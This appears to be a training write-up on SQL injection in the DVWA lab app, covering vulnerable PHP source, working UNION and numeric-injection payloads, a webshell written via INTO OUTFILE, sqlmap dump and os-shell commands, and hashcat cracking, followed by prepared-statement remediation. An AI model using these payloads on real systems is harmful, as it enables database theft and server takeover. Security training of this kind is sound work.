🔍 03 — SQL Injection

SQL Injection

OWASP: A03 - Injection | **CWE**: CWE-89 | **Severity**: 🔴 Critical

---

📖 Description

DVWA SQL Injection module allows testing string-based SQL injection through a user lookup form. The application passes unsanitized user input directly into MySQL queries, allowing attackers to manipulate query logic and extract the entire database.

DVWA Endpoint: `http://localhost/dvwa/vulnerabilities/sqli/`

⚠️ Security Level: LOW

Vulnerable Source Code

```
$id = $_REQUEST['id'];
$query = "SELECT first_name, last_name FROM users WHERE user_id =
'$id';"
$result = mysqli_query($GLOBALS['___mysqli_ston'], $query);
```

Step 1 — Detect Injection

```
-- Single quote error test
1'
-- Error: You have an error in your SQL syntax...

-- Confirm with OR
1' OR '1'='1
-- Returns ALL users (injection confirmed)

1' OR 1=1--
1' OR 1=1#
```

Step 2 — UNION-Based Extraction

```
-- Find number of columns
1' ORDER BY 1--
1' ORDER BY 2--
1' ORDER BY 3--   <- Error means 2 columns

-- Find output positions
1' UNION SELECT NULL,NULL--
1' UNION SELECT 1,2--

-- Get database version
1' UNION SELECT 1,version()--

-- Get current database name
1' UNION SELECT 1,database()--

-- Get current user
1' UNION SELECT 1,user()--

-- List all databases
1' UNION SELECT 1,schema_name FROM information_schema.schemata--

-- List tables in dvwa
1' UNION SELECT 1,table_name FROM information_schema.tables WHERE
table_schema='dvwa'--

-- List columns in users table
1' UNION SELECT 1,column_name FROM information_schema.columns WHER
E table_name='users'--

-- Dump usernames and passwords
1' UNION SELECT user,password FROM users--

-- Concatenate all fields
1' UNION SELECT 1,CONCAT(user,':',password) FROM users--

-- Extract ALL user data
1' UNION SELECT 1,CONCAT(user_id,':',user,':',password,':',avatar)
FROM users--
```

Step 3 — File Operations

```
-- Read /etc/passwd
1' UNION SELECT 1,LOAD_FILE('/etc/passwd')--

-- Write PHP webshell to server
1' UNION SELECT 1,'<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/
var/www/html/dvwa/shell.php'--
-- Access: http://localhost/dvwa/shell.php?cmd=id
```

Automated SQLMap

```
# Basic exploitation
sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit
=Submit" \
  --cookie="PHPSESSID=YOUR_SESSION; security=low" \
  --dbs

# Dump users table
sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit
=Submit" \
  --cookie="PHPSESSID=YOUR_SESSION; security=low" \
  -D dvwa -T users --dump

# OS shell
sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit
=Submit" \
  --cookie="PHPSESSID=YOUR_SESSION; security=low" \
  --os-shell

# Full auto
sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit
=Submit" \
  --cookie="PHPSESSID=YOUR_SESSION; security=low" \
  --batch --dump-all
```

Evidence — Extracted Users

```
Database: dvwa
Table: users
+----+----------+----------------------------------------------+
| id | user     | password (MD5)                               |
+----+----------+----------------------------------------------+
```

```
|   1 | admin     | 5f4dcc3b5aa765d61d8327deb882cf99 (password) |
|   2 | gordonb   | e99a18c428cb38d5f260853678922e03 (abc123)   |
|   3 | 1337      | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)  |
|   4 | pablo     | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)  |
|   5 | smithy    | 5f4dcc3b5aa765d61d8327deb882cf99 (password) |
+----+----------+----------------------------------------------+

# Crack MD5 with hashcat:
hashcat -m 0 dvwa_hashes.txt /usr/share/wordlists/rockyou.txt
```

⚠️ Security Level: MEDIUM

Defense Applied

`mysqli_real_escape_string()` applied to input.

Source Code

```
$id = mysqli_real_escape_string($GLOBALS['___mysqli_ston'], $_POST
['id']);
$query = "SELECT first_name, last_name FROM users WHERE user_id =
$id;";
// NOTE: $id is NOT quoted in query -> numeric injection!
```

Bypass — Numeric Context (No Quotes Needed)

```
-- No quotes needed for numeric injection
1 OR 1=1
1 UNION SELECT 1,database()
1 UNION SELECT 1,user()
1 UNION SELECT 1,version()
1 UNION SELECT 1,table_name FROM information_schema.tables WHERE t
able_schema=database()
1 UNION SELECT user,password FROM users

# For string values, use hex encoding instead of quotes:
# 'users' in hex = 0x7573657273
1 UNION SELECT 1,column_name FROM information_schema.columns WHERE
table_name=0x7573657273
```

⚠️ Security Level: HIGH

Defense Applied

Input moved to a separate popup window (session-based, not URL param).

Source Code

```
$id = $_SESSION['id'];
$query = "SELECT first_name, last_name FROM users WHERE user_id =
'$id' LIMIT 1;";
```

Still Exploitable — LIMIT Bypass

```
-- LIMIT 1 restricts output but UNION can bypass:
1' UNION SELECT user,password FROM users#

-- The LIMIT applies to first SELECT only when UNION is used
-- UNION SELECT overrides LIMIT restriction
1' UNION SELECT 1,CONCAT(user,0x3a,password) FROM users#
```

⚠️ Security Level: IMPOSSIBLE

Defense Applied

- PDO prepared statements with parameterized queries
- Input type validation (must be integer)
- Anti-CSRF token

```
$data = $db->prepare('SELECT first_name, last_name FROM users WHER
E user_id = (:id) LIMIT 1;');
$data->bindParam(':id', $id, PDO::PARAM_INT);
$data->execute();
```

Why It Stops All Injection

User input is bound as an **integer parameter** before the query is compiled. SQL metacharacters are treated as literal data, never interpreted as SQL syntax.

📊 Impact Analysis

Impact	Description
Full DB Dump	All usernames, passwords, emails

Impact	Description
Auth Bypass	Login as any user
File Read	Read server files via LOAD_FILE
RCE	Write webshell via INTO OUTFILE

✅ Remediation

1. **Prepared Statements** (PDO or MySQLi) — always
2. **Input Validation** — validate type and format
3. **Least Privilege** — DB user must not have FILE privilege
4. **Error Suppression** — never show SQL errors to users
5. **WAF** — ModSecurity or Cloudflare WAF

```
// Always use prepared statements
$stmt = $pdo->prepare("SELECT * FROM users WHERE user_id = ?");
$stmt->execute([$id]);
```

📚 References

- CWE-89: https://cwe.mitre.org/data/definitions/89.html
- PayloadsAllTheThings SQLi: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection